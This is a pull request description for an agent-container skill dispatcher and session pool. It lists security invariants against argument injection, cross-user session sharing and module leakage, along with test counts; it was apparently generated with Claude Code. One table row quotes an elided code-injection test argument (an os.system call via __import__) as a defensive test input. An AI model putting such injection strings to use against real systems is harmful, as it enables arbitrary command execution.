feat(agentcore-strands): U4 unified skill dispatcher + session pool (SI-2/3/6)

[ericodom]

Summary

Lands the single code path that every skill-with-scripts invocation will flow through once the Skill meta-tool (U5) wires it in. Today it ships as inert code — the Dockerfile COPY picks it up (via U2a's wildcard) and _boot_assert registers it, but no production path calls it yet. Shadow dispatch in U7 is the first consumer.

Part of the V1 agent-architecture plan (docs/plans/2026-04-23-007-feat-v1-agent-architecture-final-call-plan.md §U4).

Why this is low-risk to land now

• Dead code from production's perspective. server.py doesn't import skill_dispatcher; run_skill_dispatch.py still serves every live composition.
• Every public entry point takes injected callables (pool's start_session/stop_session, dispatcher's runner). No boto3 in the hot path — AgentCore contact only happens when U7 wires the real runner.
• All security invariants are structural, not runtime. SI-2 is "args never appear in exec string" — enforced by the fixed template. SI-3 is "user_id in pool key" — enforced by the pool class. SI-6 is "sys.modules purge before import" — part of the exec template. Breaking any would show up as a test failure before it showed up as a CVE.

The three security invariants

Invariant	How it's enforced
SI-2 Args are data, never code	writeFiles([{path:"_args.json", text:json.dumps(args)}]) + fixed exec template that reads the file. Adversarial args (__import__('os').system(...), nested exec(), unicode) round-trip unchanged through _args.json and never appear in the exec source. Regression test asserts exec string is byte-identical across two invocations with different args.
SI-3 User-scoped pool key	SkillSessionPool keys on (tenant_id, user_id, environment). test_si3_users_on_same_tenant_get_distinct_sessions proves alice and bob can't share a warm session. flush_for_tenant isolates across tenants.
SI-6 Module namespace reset	Exec template purges sys.modules['scripts.<slug>.*'] + importlib.invalidate_caches() before from scripts.<slug>.entrypoint import run. A monkey-patch from call N cannot leak into call N+1 on the same pooled session.

Test counts

• test_skill_session_pool.py — 9 cases (acquire/reuse, concurrency, LRU eviction of idle slots, in-use-never-evicted, idle pruning with frozen time, flush-for-tenant, flush-all)
• test_skill_dispatcher.py — 9 cases (happy path, unknown slug, non-JSON stdout, timeout, non-zero exit, depth-cap boundary, turn budget, audit hook)
• test_skill_dispatcher_security.py — 6 cases, each named with its SI number so grep test_si surfaces coverage at review time
• Full agent-container suite: 211 green (24 new + 187 existing)
• sandbox-preflight.test.ts: 9 green

What this PR does NOT do

• Does not wire dispatcher into server.py's Agent(tools=...) flow. That's U5.
• Does not extract the quota/audit loop from server.py:682-755. Deferred to U7 where quota actually fires — extracting now would add a seam with no caller.
• Does not touch the real AgentCore Code Interpreter. Real integration happens in U7's shadow-dispatch harness.

Wiring

• _boot_assert.EXPECTED_CONTAINER_SOURCES grows skill_dispatcher + skill_session_pool so the Dockerfile RUN asserts they landed.
• packages/api/src/lib/sandbox-preflight.ts gains an optional caller: 'execute_code' | 'skill_dispatch' field on input + result. Defaults to execute_code for backwards compat.

Test plan

• Full agent-container pytest: 211 green
• pnpm --filter @thinkwork/api typecheck green
• pnpm --filter @thinkwork/api test on sandbox-preflight.test.ts — 9 green
• ruff import-sort clean on new Python
• prettier clean on touched TS
• Reviewer spot-checks SI-2 assertion (fixed template) and SI-3 pool-key tuple shape

🤖 Generated with Claude Code